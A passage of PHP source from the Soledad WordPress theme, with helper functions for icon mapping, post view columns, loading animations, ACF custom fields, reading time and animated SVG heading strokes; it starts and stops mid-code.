			} elseif ( 'penciicon-tik-tok' == $class ) {
				$class = 'penciicon-tik-tok-1';
			} elseif ( 'penciicon-blogger-1' == $class ) {
				$class = 'penciicon-blogger';
			} elseif ( 'penciicon-deviantart-1' == $class ) {
				$class = 'penciicon-deviantart';
			} elseif ( 'penciicon-evernote' == $class ) {
				$class = 'penciicon-evernote-1';
			} elseif ( 'penciicon-forrst' == $class ) {
				$class = 'penciicon-forrst-1';
			} elseif ( 'penciicon-grooveshark' == $class ) {
				$class = 'penciicon-grooveshark-1';
			} elseif ( 'penciicon-myspace-logo' == $class ) {
				$class = 'penciicon-myspace';
			} elseif ( 'fab fa-paypal' == $class ) {
				$class = 'penciicon-brand';
			} elseif ( 'fab fa-skype' == $class ) {
				$class = 'penciicon-skype';
			} elseif ( 'fab fa-windows' == $class ) {
				$class = 'penciicon-windows';
			} elseif ( 'fab fa-wordpress' == $class ) {
				$class = 'penciicon-wordpress-logo';
			}
		}

		$fontawesome_ver5 = get_theme_mod( 'penci_fontawesome_ver5' );
		if ( ! $fontawesome_ver5 ) {
			$class = str_replace( array( 'fab ', 'fal ', 'far ', 'fas ' ), 'fa ', $class );

			if ( 'fa fa-facebook-f' == $class ) {
				$class = str_replace( 'facebook-f', 'facebook', $class );
			} elseif ( 'fa fa-thumbtack' == $class ) {
				$class = str_replace( 'thumbtack', 'thumb-tack', $class );
			} elseif ( 'fa fa-linkedin-in' == $class ) {
				$class = str_replace( 'linkedin-in', 'linkedin', $class );
			} elseif ( 'fa fa-image' == $class ) {
				$class = str_replace( 'fa-image', 'fa-picture-o', $class );
			} elseif ( 'fa fa-clock' == $class ) {
				$class = str_replace( 'fa-clock', 'fa-clock-o', $class );
			} elseif ( 'fa fa-user-circle-o' == $class ) {
				$class = str_replace( 'fa-user-circle-o', 'fa-user-circle', $class );
			} elseif ( 'fa fa-sign-out-alt' == $class ) {
				$class = str_replace( 'fa-sign-out-alt', 'fa-sign-out', $class );
			} elseif ( 'fa fa-sync' == $class ) {
				$class = str_replace( 'fa-sync', 'fa-refresh', $class );
			} elseif ( 'fa fa-youtube' == $class ) {
				$class = str_replace( 'fa-youtube', 'fa-youtube-play', $class );
			} elseif ( 'fa fa-envelope-o' == $class ) {
				$class = str_replace( 'fa-envelope-o', 'fa-envelope', $class );
			} elseif ( 'fa fa-snapchat-ghost' == $class ) {
				$class = str_replace( 'fa-snapchat-ghost', 'fa-snapchat', $class );
			} elseif ( 'fa fa-vimeo-v' == $class ) {
				$class = str_replace( 'fa-vimeo-v', 'fa-vimeo', $class );
			} elseif ( 'fa fa-times' == $class ) {
				$class = str_replace( 'fa-times', 'fa-close', $class );
			} elseif ( 'fa fa-heart' == $class ) {
				$class = str_replace( 'fa-heart', 'fa-heart-o', $class );
			} elseif ( 'fa fa-comment' == $class ) {
				$class = str_replace( 'fa-comment', 'fa-comment-o', $class );
			}
		}

		if ( is_numeric( $class ) ) {

			$icon_path = wp_get_original_image_path( $class );

			if ( is_string( $icon_path ) && 'image/svg+xml' === mime_content_type( $icon_path ) ) {
				$return = '<i class="pccsi-svg" style="' . esc_attr( penci_get_icon_color( $class ) ) . '">' . file_get_contents( $icon_path ) . '</i>';
			} else {
				$return = '<i class="pccsi-img" style="' . esc_attr( penci_get_icon_color( $class ) ) . '">' . wp_get_attachment_image( $class, 'full' ) . '</i>';
			}
		} else {
			$return = '<i class="penci-faicon ' . esc_attr( $class ) . '" ' . ( $style ? ' ' . $style : '' ) . '></i>';
		}

		return $return;
	}
endif;

if ( ! function_exists( 'penci_get_icon_color_list' ) ) :
	function penci_get_icon_color_list() {
		$custom_social_icons = get_option( 'penci_custom_socials', array() );

		$keys = array();

		foreach ( $custom_social_icons as $key => $icon_data ) {
			if ( isset( $icon_data['icon'] ) && $icon_data['icon'] ) {
				$keys[ $icon_data['icon'] ] = isset( $icon_data['color'] ) && $icon_data['color'] ? $icon_data['color'] : '';
			}
		}

		return $keys;
	}
endif;

if ( ! function_exists( 'penci_get_icon_color' ) ) :
	function penci_get_icon_color( $class ) {

		$keys = penci_get_icon_color_list();

		return isset( $keys[ $class ] ) && $keys[ $class ] ? '--pcci:' . $keys[ $class ] : '';
	}
endif;
/**
 * Show icon font awesome with each version
 */
if ( ! function_exists( 'penci_fawesome_icon' ) ) :
	function penci_fawesome_icon( $class, $style = '' ) {
		echo penci_icon_by_ver( $class, $style );
	}
endif;

if ( ! function_exists( 'penci_svg_menu_icon' ) ) :
	function penci_svg_menu_icon() {
		echo '<svg width=18px height=18px viewBox="0 0 512 384" version=1.1 xmlns=http://www.w3.org/2000/svg xmlns:xlink=http://www.w3.org/1999/xlink><g stroke=none stroke-width=1 fill-rule=evenodd><g transform="translate(0.000000, 0.250080)"><rect x=0 y=0 width=512 height=62></rect><rect x=0 y=161 width=512 height=62></rect><rect x=0 y=321 width=512 height=62></rect></g></g></svg>';
	}
endif;

/**
 * Trims post title.
 *
 * @param $id
 * @param int $length
 * @param null $more
 *
 * @return string
 */
if ( ! function_exists( 'penci_get_trim_post_title' ) ) {
	function penci_get_trim_post_title( $id = '', $length = 20, $more = '...' ) {
		if ( empty( $id ) ) {
			$id = get_the_ID();
		}

		if ( ! $length || ! is_numeric( $length ) ) {
			return get_the_title( $id );
		}

		return sanitize_text_field( wp_trim_words( wp_strip_all_tags( get_the_title( $id ) ), $length, $more ) );
	}
}
if ( ! function_exists( 'penci_trim_post_title' ) ) {
	function penci_trim_post_title( $id = '', $length = 20, $more = '...' ) {
		echo penci_get_trim_post_title( $id, $length, $more );
	}
}

if ( ! function_exists( 'penci_get_post_countview' ) ) {
	function penci_get_post_countview( $post_id = null ) {

		echo '<span>';
		penci_fawesome_icon( 'fas fa-eye' );
		echo penci_get_post_views( $post_id );
		echo ' ' . penci_get_setting( 'penci_trans_countviews' );
		echo '</span>';
	}
}

/*
Hook for Soledad Penci Page Speed */
/* Options from Soledad */
if ( ! function_exists( 'penci_classes_slider_lazy' ) ) {
	function penci_classes_slider_lazy() {

		return 'penci-lazy';
	}
}

if ( ! function_exists( 'penci_get_html_animation_loading' ) ) {
	function penci_get_html_animation_loading( $style_animation ) {

		$style_animation = $style_animation == 'df' ? get_theme_mod( 'penci_block_lajax', 's9' ) : $style_animation;

		$animation = array(
			's1' => '<div class="penci-loader-effect penci-loading-animation-1"><div class="rect1"></div><div class="rect2"></div><div class="rect3"></div><div class="rect4"></div></div>',
			's2' => '<div class="penci-loader-effect penci-loading-animation-2"><div class="penci-loading-animation"></div></div>',
			's3' => '<div class="penci-loader-effect penci-loading-animation-3"><div class="penci-loading-animation"></div></div>',
			's4' => '<div class="penci-loader-effect penci-loading-animation-4"><div class="penci-loading-animation"></div></div>',
			's5' => '<div class="penci-loader-effect penci-loading-animation-5 penci-three-bounce"><div class="penci-loading-animation one"></div><div class="penci-loading-animation two"></div><div class="penci-loading-animation three"></div></div>',
			's6' => '<div class="penci-loader-effect penci-loading-animation-6 penci-load-thecube"><div class="penci-loading-animation penci-load-cube penci-load-c1"></div><div class="penci-loading-animation penci-load-cube penci-load-c2"></div><div class="penci-loading-animation penci-load-cube penci-load-c4"></div><div class="penci-loading-animation penci-load-cube penci-load-c3"></div></div>',
			's7' => '<div class="penci-loader-effect penci-loading-animation-7"><div class="penci-loading-animation"></div><div class="penci-loading-animation penci-loading-animation-inner-2"></div><div class="penci-loading-animation penci-loading-animation-inner-3"></div><div class="penci-loading-animation penci-loading-animation-inner-4"></div><div class="penci-loading-animation penci-loading-animation-inner-5"></div><div class="penci-loading-animation penci-loading-animation-inner-6"></div><div class="penci-loading-animation penci-loading-animation-inner-7"></div><div class="penci-loading-animation penci-loading-animation-inner-8"></div><div class="penci-loading-animation penci-loading-animation-inner-9"></div></div>',
			's8' => '<div class="penci-loader-effect penci-loading-animation-8"><div class="penci-loading-animation"></div><div class="penci-loading-animation penci-loading-animation-inner-2"></div></div>',
			's9' => '<div class="penci-loader-effect penci-loading-animation-9"> <div class="penci-loading-circle"> <div class="penci-loading-circle1 penci-loading-circle-inner"></div> <div class="penci-loading-circle2 penci-loading-circle-inner"></div> <div class="penci-loading-circle3 penci-loading-circle-inner"></div> <div class="penci-loading-circle4 penci-loading-circle-inner"></div> <div class="penci-loading-circle5 penci-loading-circle-inner"></div> <div class="penci-loading-circle6 penci-loading-circle-inner"></div> <div class="penci-loading-circle7 penci-loading-circle-inner"></div> <div class="penci-loading-circle8 penci-loading-circle-inner"></div> <div class="penci-loading-circle9 penci-loading-circle-inner"></div> <div class="penci-loading-circle10 penci-loading-circle-inner"></div> <div class="penci-loading-circle11 penci-loading-circle-inner"></div> <div class="penci-loading-circle12 penci-loading-circle-inner"></div> </div> </div>',
		);

		return isset( $animation[ $style_animation ] ) ? $animation[ $style_animation ] : $animation['s9'];
	}
}
if ( ! function_exists( 'penci_add_postviews_col' ) ) {
	add_filter( 'manage_post_posts_columns', 'penci_add_postviews_col' );
	function penci_add_postviews_col( $columns ) {
		$columns['penci_thumbnail'] = __( 'Thumbnail', 'soledad' );
		if ( get_theme_mod( 'penci_tviews_pcol' ) ) {
			$columns['penci_views'] = '<span title="Total Views" class="dashicons dashicons-chart-bar"></span><span class="dash-title title">Total Views</span>';
		}

		return $columns;
	}
}

if ( ! function_exists( 'penci_register_totalview_sortable' ) && get_theme_mod( 'penci_tviews_pcol' ) ) {
	function penci_register_totalview_sortable( $columns ) {
		$columns['penci_views'] = 'views';

		return $columns;
	}

	add_filter( 'manage_edit-post_sortable_columns', 'penci_register_totalview_sortable' );
}


if ( ! function_exists( 'penci_register_totalview_order' ) && get_theme_mod( 'penci_tviews_pcol' ) ) {
	add_action( 'pre_get_posts', 'penci_register_totalview_order' );
	function penci_register_totalview_order( $query ) {
		if ( ! is_admin() ) {
			return;
		}

		$orderby = $query->get( 'orderby' );

		if ( 'views' == $orderby ) {
			$count_key = penci_get_postviews_key();
			$query->set( 'meta_key', $count_key );
			$query->set( 'orderby', 'meta_value_num' );
		}
	}
}

if ( ! function_exists( 'penci_posts_column_order' ) ) {
	add_filter( 'manage_post_posts_columns', 'penci_posts_column_order' );
	function penci_posts_column_order( $columns ) {
		$n_columns = array();
		$move      = 'penci_thumbnail'; // what to move
		$before    = 'title'; // move before this
		foreach ( $columns as $key => $value ) {
			if ( $key == $before ) {
				$n_columns[ $move ] = $move;
			}
			$n_columns[ $key ] = $value;
		}

		return $n_columns;
	}
}

if ( ! function_exists( 'penci_add_postviews_col_content' ) ) {
	add_action( 'manage_post_posts_custom_column', 'penci_add_postviews_col_content', 10, 2 );
	function penci_add_postviews_col_content( $column, $post_id ) {
		switch ( $column ) {
			case 'penci_views':
				$count_key = penci_get_postviews_key();
				$count     = get_post_meta( $post_id, $count_key, true );

				echo $count;
				break;
			case 'penci_thumbnail':
				if ( has_post_thumbnail( $post_id ) ) {
					echo wp_get_attachment_image( get_post_thumbnail_id( $post_id ), array( 50, 50 ) );
				} else {
					echo '<img width="50" height="50" src="' . PENCI_SOLEDAD_URL . '/images/nothumb.jpg" alt=""/>';
				}
				break;
		}
	}
}

if ( is_admin() && isset( $_GET['pcfbdm'] ) && $_GET['pcfbdm'] ) {
	$pcfbdm = $_GET['pcfbdm'];
	if ( 'yes' == $pcfbdm ) {
		update_option( 'pcfbdm', 'yes' );
	}
}

add_action(
	'admin_notices',
	function () {
		$link   = ( isset( $_SERVER['HTTPS'] ) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http' ) . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
		$link   = add_query_arg( array( 'pcfbdm' => 'yes' ), $link );
		$pcfbdm = get_option( 'pcfbdm', false );
		if ( $pcfbdm != 'yes' ) {
			?>
            <div class="notice pc-fb-group-notice">
                <p class="fbp1">
                    We just created the Soledad Facebook Users Group - Join Now</p>
                <p class="fbp2">Join with other users that love to use Soledad to build their websites - for sharing,
                    showcase your works, assist, discuss, and updates related to Soledad WordPress Theme.</p>
                <div class="pc-fbbtn-gr">
                    <a class="pc-fb-btn" target="_blank" href="https://www.facebook.com/groups/soledad/">Join Facebook
                        Group</a>
                    <a class="pc-fb-btn pc-fb-dismiss" href="<?php echo esc_url( $link ); ?>">Alreay Joined</a>
                    <a class="pc-fb-dismiss" href="<?php echo esc_url( $link ); ?>">No, Thanks</a>
                </div>
            </div>
			<?php
		}
	}
);

if ( ! function_exists( 'penci_switch_value' ) ) {
	function penci_switch_value( $value ) {
		switch ( $value ) {
			case 'yes':
				$return = true;
				break;
			case 'no':
				$return = false;
				break;
			default:
				$return = $value;
				break;
		}

		return $return;
	}
}

if ( ! function_exists( 'penci_get_elementor_content' ) ) {
	function penci_get_elementor_content( $id ) {
		$content = \Elementor\Plugin::$instance->frontend->get_builder_content_for_display( $id, true );

		return $content;
	}
}


if ( ! function_exists( 'penci_get_afc_fields' ) ) {
	function penci_get_afc_fields( $showimg = false ) {

		$acf_fields_array = array();

		$acf_fields = get_posts(
			array(
				'post_type'      => 'acf-field',
				'posts_per_page' => - 1,
			)
		);

		$fields_support = apply_filters(
			'penci_acf_fields',
			array(
				'text',
				'textarea',
				'number',
				'range',
				'email',
				'url',
			)
		);

		if ( $showimg ) {
			$fields_support[] = 'image';
		}

		if ( $acf_fields ) {
			foreach ( $acf_fields as $acf_field ) {
				$field_data = unserialize( $acf_field->post_content );
				if ( in_array( $field_data['type'], $fields_support ) ) {
					$acf_fields_array[ $acf_field->post_excerpt ] = $acf_field->post_title;
				}
			}
		}

		return $acf_fields_array;
	}
}

if ( ! function_exists( 'penci_get_field_type' ) ) {
	function penci_get_field_type( $meta ) {
		global $wpdb;
		$type = 'text';
		if ( ! $meta ) {
			return $type;
		}
		$meta     = esc_sql( $meta );
		$querystr = "SELECT * FROM $wpdb->posts WHERE $wpdb->posts.post_excerpt = '{$meta}' AND $wpdb->posts.post_type = 'acf-field'";
		$posts    = $wpdb->get_results( $querystr );
		if ( $posts && isset( $posts[0]->post_content ) ) {
			$meta_data = unserialize( $posts[0]->post_content );
			$type      = $meta_data['type'];
		}

		return $type;
	}
}

if ( ! function_exists( 'penci_show_custom_meta_fields' ) ) {
	function penci_show_custom_meta_fields( $args = array() ) {

		$default_args = array(
			'id'        => get_the_ID(),
			'validator' => get_theme_mod( 'penci_cpost_cmeta_enable' ),
			'keys'      => get_theme_mod( 'penci_cpost_cmeta_fields' ),
			'acf'       => get_theme_mod( 'penci_cpost_cmeta_acf' ),
			'label'     => get_theme_mod( 'penci_cpost_cmeta_label' ),
			'divider'   => get_theme_mod( 'penci_cpost_divider_cmeta_label', ':' ),
		);

		$args = wp_parse_args( $args, $default_args );

		if ( ! $args['validator'] ) {
			return false;
		}

		if ( 'no' === $args['validator'] ) {
			return false;
		}

		$return = $label_html = '';

		$args['keys'] = is_array( $args['keys'] ) ? $args['keys'] : explode( ',', preg_replace( '/\s*/m', '', $args['keys'] ) );
		$args['acf']  = is_array( $args['acf'] ) ? $args['acf'] : explode( ',', preg_replace( '/\s*/m', '', $args['acf'] ) );

		$custom_showing_metas = array_filter( array_merge( $args['keys'], $args['acf'] ) );
		$labels               = penci_get_afc_fields();

		if ( $custom_showing_metas ) {

			foreach ( $custom_showing_metas as $meta ) {
				$value = get_post_meta( $args['id'], $meta, true );

				if ( $args['label'] ) {
					$label_html = isset( $labels[ $meta ] ) && $labels[ $meta ] ? $labels[ $meta ] . do_shortcode( $args['divider'] ) . ' ' : '';
				}

				if ( $value && is_string( $value ) ) {
					$return .= '<span class="pccsmt-field ' . esc_attr( $meta ) . '">' . $label_html . $value . '</span>';
				}
			}
		}

		return $return;
	}
}

if ( ! function_exists( 'penci_estimate_readingtime' ) ) {
	function penci_estimate_readingtime( $id ) {

		$return = get_theme_mod( 'penci_readtime_default' ) ? get_theme_mod( 'penci_readtime_default' ) : '';
		$auto   = get_theme_mod( 'penci_readtime_auto' );
		$wpm    = get_theme_mod( 'penci_readtime_wpm' ) ? get_theme_mod( 'penci_readtime_wpm' ) : 200;
		$text   = wp_strip_all_tags( get_the_content( null, false, $id ) );

		if ( $auto ) {
			$totalWords = count( preg_split( '~[\p{Z}\p{P}]+~u', $text, 0, PREG_SPLIT_NO_EMPTY ) );
			$minutes    = round( $totalWords / $wpm );
			$return     = $minutes . ' ' . penci_get_setting( 'penci_trans_minutes' );
		}

		return $return;
	}
}

add_action(
	'penci_single_meta_content',
	function () {
		echo penci_show_custom_meta_fields();
	}
);

add_filter(
	'coauthors_default_between_last',
	function () {
		return ' & ';
	}
);

if ( ! function_exists( 'penci_animated_heading_stroke' ) ) {
	function penci_animated_heading_stroke( $stroke, $style ) {
		$gradient_svg    = '';
		$gradient_stroke = '';

		$colorstyle = esc_attr( $style );

		if ( 'gradient' === $colorstyle ) {
			$gradient_svg    = '<linearGradient x1="0" y1="0" x2="100%" y2="100%" id="penci-highlight-gradient"><stop offset="0"/><stop offset="100%"/></linearGradient>';
			$gradient_stroke = 'stroke="url(#penci-highlight-gradient)"';
		}

		$strokes = array(
			'circle'           => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 150" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M281.68,15.89S135.3,14.19,22.05,81.45s331.78,76.17,441,35.68S363.86-35.6,178.77,26.39" transform="translate(0.75 -3.61)"/></svg>',
			'curly'            => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 150" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M6.5,75.5s25-29,50,0,50,0,50,0,25-32,50,0,50-1,50-1,25-30,50,1,50,0,50,0,27-28,50,0,50,0,50,0,26-25,50,0,36,7,36,7" transform="translate(-3.09 -56.78)"/></svg>',
			'underline'        => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 150" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M3,77.5s200.54-11,493,0" transform="translate(-2.75 -68.11)"/></svg>',
			'double'           => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 150" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M3.69,18.7s240.11-30,492.31,0" transform="translate(-3.14 -0.87)"/><path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M3.65,144S248.43,128,496,144" transform="translate(-3.14 -0.87)"/></svg>',
			'double-underline' => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 150" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M3,59.5s152.5-13,493-3" transform="translate(-2.62 -48.22)"/><path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M3,83.5s200.54-11,493,0" transform="translate(-2.62 -48.22)"/></svg>',
			'underline-zigzag' => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 150" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M9.5,52.5s361-31,478,0" transform="translate(-9.11 -34.22)"/><path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M484.5,55.5s-386-2-432,15c0,0,317-12,358,5,0,0-177-4-227,11" transform="translate(-9.11 -34.22)"/></svg>',
			'diagonal'         => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 150" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M7.5,6.5s257,84,483,136" transform="translate(-6.1 -2.22)"/></svg>',
			'strikethrough'    => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 150" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M7.5,75.5s200,10,485,0" transform="translate(-7.28 -71)"/></svg>',
			'x'                => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 150" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M7.5,6.5s257,84,483,136" transform="translate(-6.1 -2.22)"/><path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M490.5,6.5s-310,103-483,136" transform="translate(-6.1 -2.22)"/></svg>',
			'check'            => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M12.3,55.4,33.8,76.9,87.7,23.1"/></svg>',
			'pan'              => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M72.7,72.7A32.1,32.1,0,0,0,27.3,27.3M72.7,72.7A32.1,32.1,0,0,1,27.3,27.3M72.7,72.7,27.3,27.3"/></svg>',
			'click'            => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M64,64,56.8,82.1,42.3,42.3,82.1,56.8Zm0,0L82.1,82.1M35.8,17.9l2.8,10.5M28.4,38.6,17.9,35.8M60.2,24.4l-7.6,7.7M32.1,52.6l-7.7,7.6"/></svg>',
			'heart'            => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M22.6,27.3a16,16,0,0,0,0,22.7L50,77.4,77.4,50A16.1,16.1,0,1,0,54.7,27.3L50,32l-4.7-4.7A16,16,0,0,0,22.6,27.3Z"/></svg>',
			'bolt'             => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M54,42V13.9L17.9,58H46V86.1L82.1,42Z"/></svg>',
			'sparkle'          => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M21.4,13.3V29.6m-8.1-8.2H29.6m-4.1,49V86.7m-8.1-8.1H33.7M54.1,13.3l9.3,28L86.7,50,63.4,58.7l-9.3,28-9.3-28L21.4,50l23.4-8.7Z"/></svg>',
			'line'             => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 600 600" preserveAspectRatio="xMidYMid slice">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M38.38581848144531,139.37005615234375C71.25983301798502,65.15746370951335,197.83462778727215,4.724402109781902,282.8739929199219,22.440937042236328C367.9133580525716,40.15747197469075,550.787363688151,189.7637564341227,548.6220092773438,245.6692657470703C546.4566548665365,301.5747750600179,347.04721705118817,320.86612192789715,269.8818664550781,357.8739929199219C192.71651585896808,394.8818639119466,124.21258036295572,504.1338144938151,85.6299057006836,467.71649169921875C47.04723103841146,431.2991689046224,5.511803944905601,213.58264859517413,38.38581848144531,139.37005615234375C71.25983301798502,65.15746370951335,197.83462778727215,4.724402109781902,282.8739929199219,22.440937042236328"></path></svg>',
			'line-1'           => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 400" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M91.47981262207031,57.39909744262695C91.47981262207031,57.39909744262695,709.4169921875,64.57398223876953,709.4169921875,64.57398223876953C709.4169921875,64.57398223876953,722.8699340820312,340.8071594238281,722.8699340820312,340.8071594238281C722.8699340820312,340.8071594238281,100.44842529296875,301.34527587890625,100.44842529296875,301.34527587890625C100.44842529296875,301.34527587890625,89.68608856201172,99.55155944824219,89.68608856201172,99.55155944824219" transform="matrix(0.99500625,0,-0.35089289569710413,0.99500625,50.274723994013186,1.4479939959287833)"></path></svg>',
			'line-2'           => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1422 800" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="m765 113.13-5.37-1.02q-5.37-1-16.05-2.53-10.68-1.52-20.88-2.35-10.2-.83-21.71-1.54-11.52-.72-26.24-1.13-14.73-.42-30.08-.65-15.35-.24-33.02-.4-17.66-.15-27.03-.2-9.36-.06-18.75-.1l-19.1-.08-19.48-.07-19.35-.04-19.1-.04-18.91-.02q-9.38 0-27.34.92-17.95.92-35.98 2.55-18.04 1.62-33.85 3.9-15.82 2.3-28.3 5.18-12.47 2.89-23.76 6.84-11.28 3.95-23.06 9.37-11.77 5.43-23.69 12.13-11.91 6.7-23.48 14.38-11.57 7.68-22.54 15.73-10.96 8.06-20.52 15.7-9.57 7.63-18.61 16.18-9.05 8.54-17.56 18.03-8.52 9.48-16.09 19-7.57 9.51-14.41 20.22-6.84 10.7-11.96 22.28-5.12 11.58-8.59 22.92-3.46 11.34-5.37 23.23-1.9 11.88-2.16 23.8-.25 11.9 1.25 23.7 1.5 11.8 5.92 25.15 4.43 13.35 10.14 25.45 5.71 12.1 12.41 22.7 6.7 10.58 15.06 20.63 8.35 10.05 17.66 19.06 9.3 9.01 18.9 17.04 9.57 8.03 21 16.06 11.41 8.03 23.33 15.5 11.91 7.48 23.83 14.3 11.92 6.82 24.45 12.71 12.53 5.9 25.55 11.48 13.03 5.57 27.45 10.7 14.42 5.12 30.28 10.27 15.86 5.14 32.47 10.03 16.6 4.89 34.86 9.07 18.27 4.18 28.5 6.13 10.21 1.94 20.55 3.83 10.35 1.88 20.3 3.56 9.95 1.67 19.63 3.2 9.68 1.52 19.16 2.94t19.05 2.6q9.56 1.19 19.07 2.06 9.5.88 19.99 1.53 10.5.66 20.6 1.15 10.1.48 19.75.83 9.65.36 19.3.77 9.64.4 19.28 1t18.87 1.02l27 1.28q17.78.84 33.83 1.5 16.05.65 31.38 1 15.34.36 32.45.56 17.1.2 33.93.31 16.83.11 33.17.17l32.39.08 31.34.04h57.85q13.97-.01 27.58-.56 13.6-.54 28.24-2.22 14.63-1.68 29-4.22 14.37-2.53 27.85-4.94 13.48-2.41 26.4-5.12 12.91-2.7 25.68-6.07t24.7-7.45q11.95-4.08 21.99-8.85t17.6-10.76q7.56-6 14.27-13.96 6.7-7.96 14.06-19.28t11.18-24.44q3.82-13.12 5.3-22.25t2.16-18.84q.67-9.71-.22-21.33-.9-11.63-2.86-23.98-1.97-12.35-4.8-25.99-2.83-13.63-6.76-26.8-3.93-13.15-8.71-26.47-4.79-13.33-10.66-27.2-5.88-13.88-11.96-26.66-6.08-12.78-11.93-24.22-5.84-11.43-12.63-22.93-6.8-11.5-14.26-22.29-7.47-10.79-15.02-20.35-7.55-9.56-15.03-17.73-7.48-8.18-15.27-15.45-7.8-7.28-15.47-13.81-7.68-6.53-16.87-13.07-9.19-6.53-18.7-12.6-9.52-6.06-19.73-12.1-10.21-6.06-20.2-11.87-9.97-5.82-18.69-10.41-8.7-4.6-21.5-10.52t-21.94-9.56q-9.14-3.63-17.77-6.81-8.63-3.18-20.83-7.16-12.2-4-24.42-7.05-12.21-3.07-22.35-4.81-10.14-1.75-20.65-3.33-10.51-1.58-21.06-2.94-10.55-1.37-21.73-2.21-11.17-.85-22.6-1.32-11.42-.47-23.76-.74-12.34-.26-26.23-.42-13.9-.16-26.8-.25-12.9-.08-24.86-.12-11.96-.04-22.75-.05-10.8-.02-23.44-.01-12.65 0-27.25-3.16l-14.6-3.17v-.01l14.6-3.16q14.62-3.15 27.27-3.11l23.45.07 22.77.07q11.97.04 24.9.11 12.91.07 26.87.2 13.95.11 26.4.36t24.06.71q11.6.47 23.15 1.34 11.55.86 22.23 2.24 10.69 1.38 21.32 2.96 10.63 1.59 21.11 3.39 10.48 1.8 23.24 5.03 12.77 3.23 25.19 7.31 12.42 4.09 21.08 7.3 8.67 3.2 18.22 7.01 9.55 3.81 22.66 9.9 13.1 6.1 22.04 10.84t18.97 10.6q10.03 5.84 20.47 12.02 10.44 6.19 20.08 12.34 9.63 6.15 19.38 13.11 9.74 6.96 17.54 13.63 7.8 6.68 15.93 14.3 8.12 7.64 15.89 16.17 7.77 8.54 15.57 18.46 7.8 9.91 15.47 21.02 7.67 11.12 14.71 23.05 7.04 11.93 12.9 23.42 5.84 11.48 12.05 24.52 6.21 13.04 12.27 27.27 6.05 14.22 10.93 27.75 4.88 13.52 9 27.3 4.12 13.77 7.03 27.62 2.91 13.84 4.97 26.67 2.07 12.83 3 25.36.95 12.53.21 22.85-.73 10.32-2.36 20.13-1.62 9.81-4.19 19.63-2.56 9.82-6.84 19-4.29 9.17-9.9 17.02-5.6 7.85-12.95 16.46-7.36 8.62-16.28 15.53-8.91 6.9-19.77 12-10.86 5.09-23.17 9.27-12.31 4.19-25.42 7.63-13.1 3.44-26.27 6.18-13.16 2.74-26.66 5.14-13.5 2.4-28.14 4.97t-29.72 4.3q-15.08 1.72-29.04 